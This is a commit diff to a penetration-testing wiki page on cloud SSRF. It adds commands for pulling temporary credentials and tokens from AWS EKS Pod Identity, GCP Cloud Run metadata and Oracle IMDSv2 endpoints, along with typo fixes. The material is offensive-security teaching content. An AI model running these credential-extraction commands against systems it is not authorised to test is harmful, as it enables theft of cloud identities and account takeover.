Skip to content

Commit 3be4dcc

Browse files
author
HackTricks News Bot
committed
Add content from: Research Update Enhanced src/pentesting-web/ssrf-server-side...
1 parent 4543f7b commit 3be4dcc

1 file changed

Lines changed: 63 additions & 8 deletions

File tree

src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md

Lines changed: 63 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -83,7 +83,7 @@ You can also check public **EC2 security credentials** in: [http://4d0cf09b9b2d7
8383

8484
You can then take **those credentials and use them with the AWS CLI**. This will allow you to do **anything that role has permissions** to do.
8585

86-
To take advantage of the new credentials, you will need to crate a new AWS profile like this one:
86+
To take advantage of the new credentials, you will need to create a new AWS profile like this one:
8787

8888
```
8989
[profilename]
@@ -111,6 +111,27 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
111111
> [!TIP]
112112
> Note that in **some cases** you will be able to access the **EC2 metadata instance** from the container (check IMDSv2 TTL limitations mentioned previously). In these scenarios from the container you could access both the container IAM role and the EC2 IAM role.
113113
114+
### SSRF in AWS EKS Pod Identity credentials
115+
116+
Recent EKS clusters can use **Pod Identity** instead of the older ECS-style relative URI flow. In these pods, EKS injects:
117+
118+
- `AWS_CONTAINER_CREDENTIALS_FULL_URI=http://169.254.170.23/v1/credentials`
119+
- `AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE=/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token`
120+
121+
Therefore, a SSRF/LFI capable of reading **env vars** or the projected **service account token file** can often recover the pod IAM credentials by querying the local credential endpoint with the authorization token from that file:
122+
123+
```bash
124+
# Common discovery primitives
125+
cat /proc/self/environ | tr '\\0' '\\n' | grep '^AWS_CONTAINER_'
126+
ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/
127+
128+
# Use the projected token to query the local Pod Identity credential endpoint
129+
AUTH_HEADER=$(cat "$AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE")
130+
curl -s -H "Authorization: $AUTH_HEADER" "$AWS_CONTAINER_CREDENTIALS_FULL_URI"
131+
```
132+
133+
This is especially useful in **EKS webhooks**, **templating services**, or **URL fetchers** that run inside pods and expose a SSRF plus a local file read primitive. The response contains temporary AWS credentials that can be reused from the AWS CLI or tooling such as **Pacu**.
134+
114135
### SSRF for AWS Lambda
115136

116137
In this case the **credentials are stored in env variables**. So, to access them you need to access something like **`file:///proc/self/environ`**.
@@ -119,7 +140,7 @@ The **name** of the **interesting env variables** are:
119140

120141
- `AWS_SESSION_TOKEN`
121142
- `AWS_SECRET_ACCESS_KEY`
122-
- `AWS_ACCES_KEY_ID`
143+
- `AWS_ACCESS_KEY_ID`
123144

124145
Moreover, in addition to IAM credentials, Lambda functions also have **event data that is passed to the function when it is started**. This data is made available to the function via the [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) and could contain **sensitive** **information** (like inside the **stageVariables**). Unlike IAM credentials, this data is accessible over standard SSRF at **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
125146

@@ -318,6 +339,23 @@ for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMeta
318339
done
319340
```
320341

342+
### Cloud Run / Cloud Functions 2nd gen
343+
344+
For **Cloud Run** and **2nd generation Cloud Functions** it is usually more interesting to steal not only the OAuth access token, but also an **audience-bound identity token** from the metadata server. This is useful when the compromised workload can reach **private Cloud Run services**, **IAP-protected backends**, or any service validating Google-issued ID tokens.
345+
346+
```bash
347+
# OAuth access token for the attached service account
348+
curl -s -H "Metadata-Flavor: Google" \
349+
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
350+
351+
# Audience-bound identity token
352+
curl -s -H "Metadata-Flavor: Google" \
353+
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=https://TARGET-REGION-PROJECT.run.app"
354+
```
355+
356+
> [!TIP]
357+
> The **`identity`** endpoint requires an **`audience`** parameter. In real engagements this usually means that, after proving SSRF against `token`, you should enumerate internal service URLs and then request a second token with the exact audience expected by the target service.
358+
321359
## Digital Ocean
322360

323361
> [!WARNING]
@@ -605,12 +643,24 @@ The necessity for a header is not mentioned here either. Metadata is accessible
605643
606644
## Oracle Cloud
607645
608-
Oracle Cloud provides a series of endpoints for accessing various metadata aspects:
646+
Oracle Cloud Infrastructure has an **IMDSv2** mode that is much more relevant today than the legacy `/latest/` examples. In IMDSv2:
647+
648+
- Requests go to `http://169.254.169.254/opc/v2/`
649+
- Requests must include the header `Authorization: Bearer Oracle`
650+
- Requests carrying `Forwarded`, `X-Forwarded-For`, or `X-Forwarded-Host` are rejected
651+
- If the instance is configured to only allow IMDSv2, the old `/opc/v1` and `/openstack` paths return `404`
609652
610-
- `http://192.0.0.192/latest/`
611-
- `http://192.0.0.192/latest/user-data/`
612-
- `http://192.0.0.192/latest/meta-data/`
613-
- `http://192.0.0.192/latest/attributes/`
653+
Interesting endpoints:
654+
655+
```bash
656+
curl -s -H "Authorization: Bearer Oracle" \
657+
http://169.254.169.254/opc/v2/instance/
658+
659+
curl -s -H "Authorization: Bearer Oracle" \
660+
http://169.254.169.254/opc/v2/vnics/
661+
```
662+
663+
So, from an SSRF perspective, OCI now behaves much closer to the hardened cloud metadata services that require a **mandatory header** and explicitly reject common **forwarded-header proxy patterns**.
614664
615665
## Alibaba
616666
@@ -643,6 +693,11 @@ Rancher's metadata can be accessed using:
643693
644694
- `curl http://rancher-metadata/<version>/<path>`
645695
646-
{{#include ../../banners/hacktricks-training.md}}
647696
648697
698+
## References
699+
700+
- [AWS SDKs and Tools Reference Guide - Container credential provider](https://docs.aws.amazon.com/sdkref/latest/guide/feature-container-credentials.html)
701+
- [Oracle Cloud Infrastructure - Instance Metadata Service v2](https://docs.oracle.com/en-us/iaas/Content/Compute/Tasks/gettingmetadata.htm)
702+
703+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)